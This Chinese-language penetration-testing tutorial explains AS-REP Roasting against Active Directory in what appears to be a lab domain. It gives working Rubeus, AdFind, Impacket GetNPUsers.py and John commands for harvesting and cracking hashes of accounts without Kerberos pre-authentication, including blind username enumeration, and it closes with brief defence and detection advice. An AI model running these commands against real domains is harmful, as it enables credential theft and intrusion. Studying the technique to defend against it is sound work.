渗透测试 之 AD域渗透 【AS-REP Roasting】 攻击技术详解

发布于:2024-10-13 ⋅ 阅读:(17) ⋅ 点赞:(0)

说明:

  1. AS-REP Roasting是一种对用户账户进行离线爆破的攻击方式。但是该攻击方式使用比较受限,因为其需要用户账户设置“不要求Kerberos预身份验证”选项,而该选项默是没有勾选的。
  2. Kerberos 预身份验证发生在Kerberos身份验证的第一阶段(AS_REQ&AS REP),它的主要作用是防止密码离线爆破。
  3. 如果当前主机在域内会自动搜索不需要预认证的用户进行AS-REP Roasting攻击,并将该用户加密的。

攻击过程
AS-REP Roasting 攻击的前提条件如下:

  • 域用户勾选“不要求Kerberos预身份验证”选项
  • 需要一台可与KDC88端口进行通信的主机。

用户test勾选了“不要求Kerberos预身份验证”选项。
AS-REP Roasting 攻击主要分为两步:
1)获取AS-REP响应包中用户Hash加密的Login Session Key,后面统称为Hash
2)对上一步获得的Hash进行解密。

  • 获取Hash
    • 获取AS-REP包中用户Hash加密的Login Session Key,也就是AS-REP响应包中最外层ecp-part中的cipher部分。获取该Hash的工具有很多,下面介绍几个工具的用法
  • Rubeus
    • 如果当前主机在域内,可以通过执行如下命令运行Rubeus,该工具会自动搜索域内勾选了,不要求Kerberos预身份验证”选项的用户,并以该用户身份发起AS-REQ。
    • 由于不需要预身份验证,所以KDC会直接返回AS-REP包。然后该工具会将AS-REP包中返回的用户Hash加密的 Login Session Key 以John工具能破解的格式保存为 hash.txt文件。
      • John工具 kali上有这个多种加密破解工具 这个具体自行百度查阅
  •        Rubeus.exe asreproast /format:john /outfile:hash.txt

  • 非域内机器
    • 对于非域内的机器,就无法通过上面两种方式来获取 Hash 了。
    • 要想获取域内勾选了“不需要 Kerberos 预身份验证”选项的账户、可以使用 Adfind 执行如下命令来进行过滤查询,前提是拥有一个有效的域账户和密码。查询出符合条件的域账户之后。
    • 再使用 Impacket 下的 GetNPUsers.py 脚本获取针对指定用户的用户 Hash 加密的 Login Session Key。
  • AdFind.exe -h 192.168.1.89:389 -u xie\Administrator -up  123@qq.com  -f "userAccountControl:1.2.840.113556.1.4.803:=4194304" -dn

  •  
  • 过滤出test用户-不需要Kerberos 预身份验证账号。
  1. 然后使用 Impacket 下的 GetNPUsers.py 脚本把上一步过滤出来的域账户写入 user.txt 文件中
    1. 运行如下命令获取针对指定用户的用户 Hash 加密的 Login Session Key,该格式可以被 John 直接爆破。
      1.  python GetNPusers.py -dc-ip 192.168.1.89 -usersfile user.txt -format john xie.com/

  • 盲爆破
    • 不需要有效的域账户和密码,这个情况适用于攻击者在域外且没有一个有效的域账户和密码。
    • 将大量的用户名写入到user.txt 获取这些用户验证是否开启Kerberos预身份验证。
    • python GetNPusers.py -dc-ip 192.168.1.89 -usersfile user1.txt -format john xie.com/

  • 爆破hash
    • john --wordlist=<密码字典路径> <hash值>
    • 爆破出来的密码是123@qq.com

AS-REP Roasting 攻击防御

  • 检测域中是否存在设置了,不要求Kerberos预身份验证,属性的用户如果存在,将该属性取消勾选。 
  • 如果想在日志层面上进行检测,重点关注的事件ID是4768且预身份验证类型为0的日志。